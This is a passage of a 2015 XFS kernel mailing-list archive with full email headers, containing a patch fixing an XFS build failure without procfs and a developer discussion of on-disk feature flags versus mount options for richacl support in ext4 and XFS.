vC8IY53dxC4T8hzIjB4a3CxwI2geElfbuggV84yKNmIpL+XytexEAlbU6WdE0cuWZcLIPuWl 5C56X2yTAZlOou95+DtguWWpsbeQfoGET9WeXIko2r5yDqEjHmLTUh29OA6xSQbTWX8/n3c5 rO8nwyzbqBmxnoq6bmAdEVZBbzRVzjiltn+DehfydNmLoS2VMGZwV/A0KhL7JrW2ogEQDAjj eLxfTSOVhqeW9RrEGaCM7Le4HuAHxnPOYrPNWCnq2tpBrg/2iMVnG4YbOLVqyked1TC0ZsZu CnNBSrHExCCCJ7pqQUY208PUiSyadAixss0U/Zicby+ejKQza20nCNJQjQAAAAAAAA== --------------ms020706030005000206080603-- From arnd@arndb.de Fri Oct 16 16:48:20 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D04AD7FBA for ; Fri, 16 Oct 2015 16:48:19 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6DA57AC007 for ; Fri, 16 Oct 2015 14:48:19 -0700 (PDT) X-ASG-Debug-ID: 1445032092-04bdf06db281f80001-NocioJ Received: from mout.kundenserver.de (mout.kundenserver.de [212.227.17.10]) by cuda.sgi.com with ESMTP id T4fUMHxoqibD23Lc (version=TLSv1.2 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 14:48:13 -0700 (PDT) X-Barracuda-Envelope-From: arnd@arndb.de X-Barracuda-Apparent-Source-IP: 212.227.17.10 Received: from wuerfel.localnet ([134.3.118.24]) by mrelayeu.kundenserver.de (mreue101) with ESMTPSA (Nemesis) id 0M7bux-1ajpwR2KRD-00xIHt; Fri, 16 Oct 2015 23:47:40 +0200 From: Arnd Bergmann To: Dave Chinner , xfs@oss.sgi.com Cc: linux-kernel@vger.kernel.org, linux-arm-kernel@lists.infradead.org, Bill O'Donnell , Eric Sandeen Subject: [PATCH] xfs: fix build without xfsstats Date: Fri, 16 Oct 2015 23:47:37 +0200 X-ASG-Orig-Subj: [PATCH] xfs: fix build without xfsstats Message-ID: <5578984.gxbqPUmtuT@wuerfel> User-Agent: KMail/4.11.5 (Linux/3.16.0-10-generic; KDE/4.11.5; x86_64; ; ) MIME-Version: 1.0 Content-Transfer-Encoding: 7Bit Content-Type: text/plain; charset="us-ascii" X-Provags-ID: V03:K0:9smykgClinoXW68k2Nuopafvt1O2ot0/ds8+WcLNRxNRqNgWPLm BBys2rXAhB6DDYPeGdkq/zY+0AA6ZiGzE1/WfKz0zz9VYCph0r2i6d8YGm1kPuFXt8bAkWb L0/PcfrFNlv+AEmS513aU+zh9EFaTIgEl9a63Al/mj3urFEpYFoUCbYxszKr36nfjPkVwUm Q8vDBK/CdtlIIk9FxyQGA== X-UI-Out-Filterresults: notjunk:1;V01:K0:mQf1XmBglFY=:DDEnM5W1WtGzb8jljoi+0m fHdQ7nwQpj3jbmc85hmvDQH+dxv63auCbM16fH7mkMlQdVKdubrDaEanYPl2vtQhDiUnzJlYV QMOq3SvzT1vOJceAmN3gbpcRzA2CCa0XFm+P8AYEN0igMKWoUyfFhjYj+mLxiK4Tae7+khcQp yAuuuQePcKuCgb1ElWklrdzNHmtQ7JnnD4IwDo8CDsnGF8oPU4BY6R0WhvhlpNTtaitOnWu2X sycPWUrSX7iR27XL4NTAN31OcWqXWGDNHuu6nM7CdR65RPnUrL6Cg57hu09CCbazfk4PIJKo1 QCfODqoRq9DKDMTINKoM2q49VBhV6ruZn5Jstws4T7V4Swk2vWN9WN7s3OPWB4O3iJAX54GV1 JDSr4U7Gk2qkCKrp10j/CxWbFBfGF30HLomjq6orsWPS+obKd7/SKIQ3ACpTW58utr5IJsJp2 T/xpGkDQXQls2VN/Q3xGhTART9P9c2vDf6OubxopmDuL3TmXPYKkp9Vu0b1adai0JqWg09x4o v+9ub4MmHiIgewTOjQywcOg4k+oxBHJFZeG/Bg/HLCTdQZP0Br0aggXSxxDttIKyl/qqr3H8/ vWZ3QngFD3ehmbXjeFyPO9+0ImLf+tDa4mlN4l5ub+CBGUIFggefXavpVmlzHRoAlEaIaJkt0 n9l7pfenVrGIHUmhvZzdGCttrqXt2GojjMk7Lc/hin5JDf8PzGS4jsZvx5aLT1FUanDyCS/QH P40lBgY2UJGj0R3y X-Barracuda-Connect: mout.kundenserver.de[212.227.17.10] X-Barracuda-Start-Time: 1445032093 X-Barracuda-Encrypted: DHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23558 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- A recent rework of the xfsstats interface introduced a compile error for the procfs-disabled case: fs/built-in.o: In function `xfs_free_ag_extent': fs/xfs/libxfs/xfs_alloc.c:1725: undefined reference to `xfsstats' fs/built-in.o: In function `xfs_alloc_ag_vextent': fs/xfs/libxfs/xfs_alloc.c:645: undefined reference to `xfsstats' fs/built-in.o: In function `xfs_attr_set': fs/xfs/libxfs/xfs_attr.c:353: undefined reference to `xfsstats' fs/built-in.o: In function `xfs_attr_remove': fs/xfs/libxfs/xfs_attr.c:483: undefined reference to `xfsstats' fs/built-in.o: In function `xfs_attr_get': fs/xfs/libxfs/xfs_attr.c:131: undefined reference to `xfsstats' fs/built-in.o:fs/xfs/libxfs/xfs_bmap.c:1461: more undefined references to `xfsstats' follow This adds conditional compilation to each reference of the xfsstats global variable to get it to link again. An alternative approach would be to always build the statistics implementation even when CONFIG_PROC_FS is disabled. Signed-off-by: Arnd Bergmann Fixes: 80529c45ab66 ("xfs: pass xfsstats structures to handlers and macros") Fixes: ff6d6af2351c ("xfs: per-filesystem stats counter implementation") --- Found with ARM randconfig builds. You seem to have intentionally removed the XFS_STATS_INC etc macros and #ifdefs in ff6d6af2351c, so I suspect this is not what you had in mind then, but it's not clear what you want instead. Please regard this as a bug report if it looks wrong to you ;-) Arnd diff --git a/fs/xfs/xfs_stats.h b/fs/xfs/xfs_stats.h index 483b0eff1988..f87ad9d12f4a 100644 --- a/fs/xfs/xfs_stats.h +++ b/fs/xfs/xfs_stats.h @@ -213,9 +213,12 @@ struct xfsstats { __uint64_t xs_read_bytes; }; +extern struct xstats xfsstats; + +#ifdef CONFIG_PROC_FS + int xfs_stats_format(struct xfsstats __percpu *stats, char *buf); void xfs_stats_clearall(struct xfsstats __percpu *stats); -extern struct xstats xfsstats; #define XFS_STATS_INC(mp, v) \ do { \ @@ -235,14 +238,23 @@ do { \ per_cpu_ptr(mp->m_stats.xs_stats, current_cpu())->v += (inc); \ } while (0) -#if defined(CONFIG_PROC_FS) - extern int xfs_init_procfs(void); extern void xfs_cleanup_procfs(void); - #else /* !CONFIG_PROC_FS */ +static inline int xfs_stats_format(struct xfsstats __percpu *stats, char *buf) +{ + return 0; +} +static inline void xfs_stats_clearall(struct xfsstats __percpu *stats) +{ +} + +#define XFS_STATS_INC(mp, v) do { } while (0) +#define XFS_STATS_DEC(mp, v) do { } while (0) +#define XFS_STATS_ADD(mp, v, inc) do { } while (0) + static inline int xfs_init_procfs(void) { return 0; diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c index 368c55adee9d..58a372898857 100644 --- a/fs/xfs/xfs_super.c +++ b/fs/xfs/xfs_super.c @@ -1475,10 +1475,12 @@ xfs_fs_fill_super( goto out_destroy_workqueues; /* Allocate stats memory before we do operations that might use it */ - mp->m_stats.xs_stats = alloc_percpu(struct xfsstats); - if (!mp->m_stats.xs_stats) { - error = PTR_ERR(mp->m_stats.xs_stats); - goto out_destroy_counters; + if (IS_ENABLED(CONFIG_PROC_FS)) { + mp->m_stats.xs_stats = alloc_percpu(struct xfsstats); + if (!mp->m_stats.xs_stats) { + error = PTR_ERR(mp->m_stats.xs_stats); + goto out_destroy_counters; + } } error = xfs_readsb(mp, flags); @@ -1851,16 +1853,18 @@ init_xfs_fs(void) goto out_sysctl_unregister; } - xfsstats.xs_kobj.kobject.kset = xfs_kset; + if (IS_ENABLED(CONFIG_PROC_FS)) { + xfsstats.xs_kobj.kobject.kset = xfs_kset; - xfsstats.xs_stats = alloc_percpu(struct xfsstats); - if (!xfsstats.xs_stats) { - error = -ENOMEM; - goto out_kset_unregister; + xfsstats.xs_stats = alloc_percpu(struct xfsstats); + if (!xfsstats.xs_stats) { + error = -ENOMEM; + goto out_kset_unregister; + } + error = xfs_sysfs_init(&xfsstats.xs_kobj, &xfs_stats_ktype, + NULL, "stats"); } - error = xfs_sysfs_init(&xfsstats.xs_kobj, &xfs_stats_ktype, NULL, - "stats"); if (error) goto out_free_stats; @@ -1887,9 +1891,11 @@ init_xfs_fs(void) xfs_sysfs_del(&xfs_dbg_kobj); out_remove_stats_kobj: #endif - xfs_sysfs_del(&xfsstats.xs_kobj); + if (IS_ENABLED(CONFIG_PROC_FS)) + xfs_sysfs_del(&xfsstats.xs_kobj); out_free_stats: - free_percpu(xfsstats.xs_stats); + if (IS_ENABLED(CONFIG_PROC_FS)) + free_percpu(xfsstats.xs_stats); out_kset_unregister: kset_unregister(xfs_kset); out_sysctl_unregister: @@ -1916,8 +1922,10 @@ exit_xfs_fs(void) #ifdef DEBUG xfs_sysfs_del(&xfs_dbg_kobj); #endif - xfs_sysfs_del(&xfsstats.xs_kobj); - free_percpu(xfsstats.xs_stats); + if (IS_ENABLED(CONFIG_PROC_FS)) { + xfs_sysfs_del(&xfsstats.xs_kobj); + free_percpu(xfsstats.xs_stats); + } kset_unregister(xfs_kset); xfs_sysctl_unregister(); xfs_cleanup_procfs(); From sandeen@sandeen.net Fri Oct 16 19:08:11 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1DDB97FBD for ; Fri, 16 Oct 2015 19:08:11 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0D66D8F8052 for ; Fri, 16 Oct 2015 17:08:07 -0700 (PDT) X-ASG-Debug-ID: 1445040482-04cbb035ac53d80001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id 3Dhdk215jssvwoH9 for ; Fri, 16 Oct 2015 17:08:02 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (unknown [72.25.20.206]) (using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id C759363BCF80 for ; Fri, 16 Oct 2015 19:08:01 -0500 (CDT) Subject: Re: [PATCH] xfs: fix build without xfsstats To: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH] xfs: fix build without xfsstats References: <5578984.gxbqPUmtuT@wuerfel> From: Eric Sandeen Message-ID: <56219161.8020408@sandeen.net> Date: Fri, 16 Oct 2015 19:08:01 -0500 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: <5578984.gxbqPUmtuT@wuerfel> Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1445040482 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=INFO_TLD X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23563 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 INFO_TLD URI: Contains an URL in the INFO top-level domain On 10/16/15 4:47 PM, Arnd Bergmann wrote: > A recent rework of the xfsstats interface introduced a compile error > for the procfs-disabled case: > > fs/built-in.o: In function `xfs_free_ag_extent': > fs/xfs/libxfs/xfs_alloc.c:1725: undefined reference to `xfsstats' > fs/built-in.o: In function `xfs_alloc_ag_vextent': > fs/xfs/libxfs/xfs_alloc.c:645: undefined reference to `xfsstats' > fs/built-in.o: In function `xfs_attr_set': > fs/xfs/libxfs/xfs_attr.c:353: undefined reference to `xfsstats' > fs/built-in.o: In function `xfs_attr_remove': > fs/xfs/libxfs/xfs_attr.c:483: undefined reference to `xfsstats' > fs/built-in.o: In function `xfs_attr_get': > fs/xfs/libxfs/xfs_attr.c:131: undefined reference to `xfsstats' > fs/built-in.o:fs/xfs/libxfs/xfs_bmap.c:1461: more undefined references to `xfsstats' follow > > This adds conditional compilation to each reference of the xfsstats > global variable to get it to link again. > > An alternative approach would be to always build the statistics > implementation even when CONFIG_PROC_FS is disabled. Yep, they live for realz in sysfs now, not procfs. Reported a couple times already ;) Dave has a patch at: https://marc.info/?l=linux-xfs&m=144476889031721&w=2 Thanks, -Eric From agruenba@redhat.com Fri Oct 16 19:22:34 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0F6337FC3 for ; Fri, 16 Oct 2015 19:22:34 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id D293C8F8050 for ; Fri, 16 Oct 2015 17:22:33 -0700 (PDT) X-ASG-Debug-ID: 1445041346-04bdf06db384d20001-NocioJ Received: from mail-lb0-f177.google.com (mail-lb0-f177.google.com [209.85.217.177]) by cuda.sgi.com with ESMTP id bJwVa9gHFt19qzC7 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Fri, 16 Oct 2015 17:22:27 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.85.217.177 Received: by lbcao8 with SMTP id ao8so110231604lbc.3 for ; Fri, 16 Oct 2015 17:22:25 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=4SK1BBg1rNzeH8WQvAeZXaY9CazZXfpDxI67DKLjc/A=; b=VIzmSM4b9s3Y2T6CVV8eQZSsYGvFYi+NEIX1UXe9WcqAnbUVR9enMEwWvDQFA+FYZU RRip1SQ5fFj4FIhiM8kvQbWy397J9z7SeVVtoo1CgkexQ34hG4/yIb7+I5GkRF+V3QWA iN4MjD/VpggvITzTNLO3NehlB3TYhLuJADPzm8ke5vrimVwNpCO2tZb2LUU3X5/uQN+q pcTeUthxdtWRWQArHbuwDkEq5307Q5wcGsiGfRps5MdoN10n8qmBgVN5n8H2B+EHrJeh eafiE2sV+KfTF7nIaIVeayEBGD8hxX0JDLivvjs5/ffhsiX3v+PZVM8Q4tWM3Qe+Ew61 3O3A== X-Gm-Message-State: ALoCoQkVxuk5HbON+Ih4jm90DeEV7ticr7XZkJfbSxEJjs1TRRpf1tIuP5Mj7kg0C6IfosjnFw41 MIME-Version: 1.0 X-Received: by 10.112.11.200 with SMTP id s8mr9558323lbb.44.1445041345425; Fri, 16 Oct 2015 17:22:25 -0700 (PDT) Received: by 10.112.255.33 with HTTP; Fri, 16 Oct 2015 17:22:25 -0700 (PDT) In-Reply-To: <20151016231615.GF15011@thunk.org> References: <20151016231615.GF15011@thunk.org> Date: Sat, 17 Oct 2015 02:22:25 +0200 Message-ID: Subject: Re: e2fsprogs: Richacl support From: Andreas Gruenbacher X-ASG-Orig-Subj: Re: e2fsprogs: Richacl support To: "Theodore Ts'o" Cc: linux-ext4 , xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-lb0-f177.google.com[209.85.217.177] X-Barracuda-Start-Time: 1445041346 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23563 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header On Sat, Oct 17, 2015 at 1:16 AM, Theodore Ts'o wrote: > On Fri, Oct 16, 2015 at 06:03:29PM +0200, Andreas Gruenbacher wrote: >> >> could the richacl feature flag please be added to e2fsprogs so that we >> won't end up with incompatible file systems? >> >> https://github.com/andreas-gruenbacher/e2fsprogs >> >> Also, should this really be an incompatible feature flag? With a >> read-only compatibility flag, mounting a richacl filesystem on a >> kernel without richacl support would work but it's not safe --- it >> could grant unwanted access to files. (The same applies to the xfs >> support, etc.) > > Richacl's are represented using just extended attributes, right? Yes. Richacls can be enabled per file system; they are mutually exclusive with POSIX ACLs. You usually define which kind of ACLs a filesystem should support at filesystem create time, and that choice sticks with the filesystem. So using a feature flag makes sense. > Suppose we mounted a file system with richacl's on a kernel that > didn't understand it, and we write to from that non-richacl kernel. > What's the worse that could happen? Two things are likely to happen. First, richacls will not be enforced; this can cause fewer or more permissions to be granted. Second, when files are created, permission inheritance will not take place, so when the filesystem is later used by a richacl aware kernel, permissions will be inconsistent. > So why would this result in incompatible file systems? The filesystems will not become incompatible in an e2fsck sense, but it will generally become unsafe to expose in a multi-user environment. So the question is what the different kinds of feature flags are supposed to protect from exactly. > For similar reasons we never had a feature flag for Posix ACL's. Indeed, if you mount a filesystem that contains POSIX ACLs on a kernel that doesn't support them, you can end up with the same kinds of inconsistencies. Bad enough. Thanks, Andreas From tytso@thunk.org Sat Oct 17 09:40:00 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 22C567FBA for ; Sat, 17 Oct 2015 09:40:00 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 01FEA8F8040 for ; Sat, 17 Oct 2015 07:39:56 -0700 (PDT) X-ASG-Debug-ID: 1445092793-04cb6c3ced5ea10001-NocioJ Received: from imap.thunk.org (imap.thunk.org [74.207.234.97]) by cuda.sgi.com with ESMTP id 4GkQ4r7DrBdTfiHn (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Sat, 17 Oct 2015 07:39:54 -0700 (PDT) X-Barracuda-Envelope-From: tytso@thunk.org X-Barracuda-Apparent-Source-IP: 74.207.234.97 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=thunk.org; s=ef5046eb; h=In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date; bh=p6WXheggKT3UAuOPO0cYXgCiv2gl0CCrgCbaO70N564=; b=MOPNVmgO97uj7gnsZ/IPjh5NLTkheg+1CtrVHLTUCR4Dnz9px52Pj1Z8+a4pjVcrMZN8oGUBQ+m6gpdsAgcG36Fl8lxXRQRok3ab2YEst4N5sOZ2QAE1Hip5M1dg+o57PlgMfvaVMXReku55wx1ExSBNAQ6xwNoy7fcgqZChAC0=; Received: from root (helo=closure.thunk.org) by imap.thunk.org with local-esmtp (Exim 4.84) (envelope-from ) id 1ZnSeG-0007oF-Ca; Sat, 17 Oct 2015 14:39:52 +0000 Received: by closure.thunk.org (Postfix, from userid 15806) id 9514282D26F; Sat, 17 Oct 2015 10:39:51 -0400 (EDT) Date: Sat, 17 Oct 2015 10:39:51 -0400 From: Theodore Ts'o To: Andreas Gruenbacher Cc: linux-ext4 , xfs@oss.sgi.com Subject: Re: e2fsprogs: Richacl support Message-ID: <20151017143951.GA2678@thunk.org> X-ASG-Orig-Subj: Re: e2fsprogs: Richacl support References: <20151016231615.GF15011@thunk.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.24 (2015-08-30) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: tytso@thunk.org X-SA-Exim-Scanned: No (on imap.thunk.org); SAEximRunCond expanded to false X-Barracuda-Connect: imap.thunk.org[74.207.234.97] X-Barracuda-Start-Time: 1445092794 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23577 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Sat, Oct 17, 2015 at 02:22:25AM +0200, Andreas Gruenbacher wrote: > > Suppose we mounted a file system with richacl's on a kernel that > > didn't understand it, and we write to from that non-richacl kernel. > > What's the worse that could happen? > > Two things are likely to happen. First, richacls will not be enforced; > this can cause fewer or more permissions to be granted. Second, when > files are created, permission inheritance will not take place, so when > the filesystem is later used by a richacl aware kernel, permissions > will be inconsistent. > > > So why would this result in incompatible file systems? > > The filesystems will not become incompatible in an e2fsck sense, but > it will generally become unsafe to expose in a multi-user environment. > So the question is what the different kinds of feature flags are > supposed to protect from exactly. Hmm. So my original conception of the ext2/3/4 feature flags was more about incompatibility from a e2fsck sense --- what I would call in a metadata self-consistency sense. I don't think we ever thought about the failure of the inheritance to be an "inconsistency". Perhaps it would be considered such from a semantic point of view, but it's not something we could ever check using e2fsck, since it's possible that the user had intentionally removed the richacl from a file, even though all of the other files in the directory have a richacl which matches the default directory inheritance acl. So the downside of using a feature flag (and it doesn't matter whether it's an incompat or a read-only flag) is that it requires new versions of e2fsprogs in order to be able to support the file system --- when it really doesn't matter from an e2fsprogs support perspective. One way of dealing with this is would be use a new mount option to enable richacls (e.g., "richacl"), which older kernels would fail to recognize and would thus fail the mount. This works since the most likely failure case is if the user boots into an older kernel. This doesn't protect against the case where someone is using richacls on a USB stick, and moves it over to another system --- but that seems like a use case that's not very likely. It also doesn't help against someone using an old rescue cd-rom, but in that case, it's not clear that it's hugely problematic, either -- someone using rescue media has physical access to the machine, so access controls are generally not a major concern, and they are also not likely to be making wholesale changes to the file system where acl inheritance is going to be a primary concern, either. This is basically how we handled the POSIX acl situation for ext4 --- we just required a mount option to enable it, originally and eventually we defaulted the option to always on once it was highly unlikely someone was going to be trying to install, say, a 2.6 kernel on an enterprise userspace --- which was not likely to work at all. What do you think? If we really want to burn a feature flag, I'd probably use a RO_INCOMPAT flag rather than an INCOMPAT flag, on the theory that read-only mounts are much more often used for system administration. But it might be using a mount option is a better way to go here. Cheers, - Ted P.S. I can imagine adding new KERNEL_INCOMPAT and KERNEL_ROCOMPAT feature set flags in the superblock which are ignored by e2fsprogs, but only used by the kernel. This might be helpful in the future, but it won't help us now, since old kernels won't be checking them. From david@fromorbit.com Sat Oct 17 17:59:18 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C2E1F7F4E for ; Sat, 17 Oct 2015 17:59:18 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id B0624304032 for ; Sat, 17 Oct 2015 15:59:15 -0700 (PDT) X-ASG-Debug-ID: 1445122752-04cbb035ab729c0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id nqbL8RP38QNyu6vr for ; Sat, 17 Oct 2015 15:59:12 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2BvBwCP0SJWPCSkLHleDhoBgw2BQ4ZaojUGiyKCZ4g/hhgEAgKBIE0BAQEBAQEHAQEBAUE/hC0BAQEDATocIwULCAMYCSUPBSUDBxoTiCgHrx6UAAEBCAIhGYYXhUWFDQeELgWWI4ZBhlSBYIdgkmCEKFIqNIQgJYEiAQEB Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail06.adl6.internode.on.net with ESMTP; 18 Oct 2015 09:29:11 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZnaRS-0005Y5-5B; Sun, 18 Oct 2015 09:59:10 +1100 Date: Sun, 18 Oct 2015 09:59:10 +1100 From: Dave Chinner To: Theodore Ts'o Cc: Andreas Gruenbacher , linux-ext4 , xfs@oss.sgi.com Subject: Re: e2fsprogs: Richacl support Message-ID: <20151017225910.GT27164@dastard> X-ASG-Orig-Subj: Re: e2fsprogs: Richacl support References: <20151016231615.GF15011@thunk.org> <20151017143951.GA2678@thunk.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151017143951.GA2678@thunk.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1445122752 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23586 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Oct 17, 2015 at 10:39:51AM -0400, Theodore Ts'o wrote: > On Sat, Oct 17, 2015 at 02:22:25AM +0200, Andreas Gruenbacher wrote: > One way of dealing with this is would be use a new mount option to > enable richacls (e.g., "richacl"), which older kernels would fail to > recognize and would thus fail the mount. This works since the most > likely failure case is if the user boots into an older kernel. I don't think this is a good idea. The rich-ACL feature bit is an /on-disk format/ identifier. Both the kernel and the filesystem need to support the feature for it to work, and that's exactly what we use feature bits for. For XFS userspace we also need this feature bit for xfs_repair so that it doesn't attempt to validate the on-disk ACL format is in a valid posix ACL format. IOWs, we need an on-disk feature bit to indicate the on-disk format of the ACL in XFS. Further, a user could mount the ext4 fs with "norichacl,acl" to force the kernel to parse the rich acls as posix acls because without a feature bit the fs does not know what format it's acls are in on-disk. This will only end in tears for users. > This doesn't protect against the case where someone is using richacls > on a USB stick, and moves it over to another system --- but that seems > like a use case that's not very likely. It also doesn't help against > someone using an old rescue cd-rom, but in that case, it's not clear > that it's hugely problematic, either -- someone using rescue media has > physical access to the machine, so access controls are generally not a > major concern, and they are also not likely to be making wholesale > changes to the file system where acl inheritance is going to be a > primary concern, either. > > This is basically how we handled the POSIX acl situation for ext4 --- > we just required a mount option to enable it, originally and > eventually we defaulted the option to always on once it was highly > unlikely someone was going to be trying to install, say, a 2.6 kernel > on an enterprise userspace --- which was not likely to work at all. Using a mount option was wrong here, too, because ext4 was a *brand new filesystem*. ext4 should have just defaulted to enabling posix acls if the support was built into the kernel. Just like XFS had already been doing for years before ext4 came along.... > What do you think? If we really want to burn a feature flag, I'd > probably use a RO_INCOMPAT flag rather than an INCOMPAT flag, 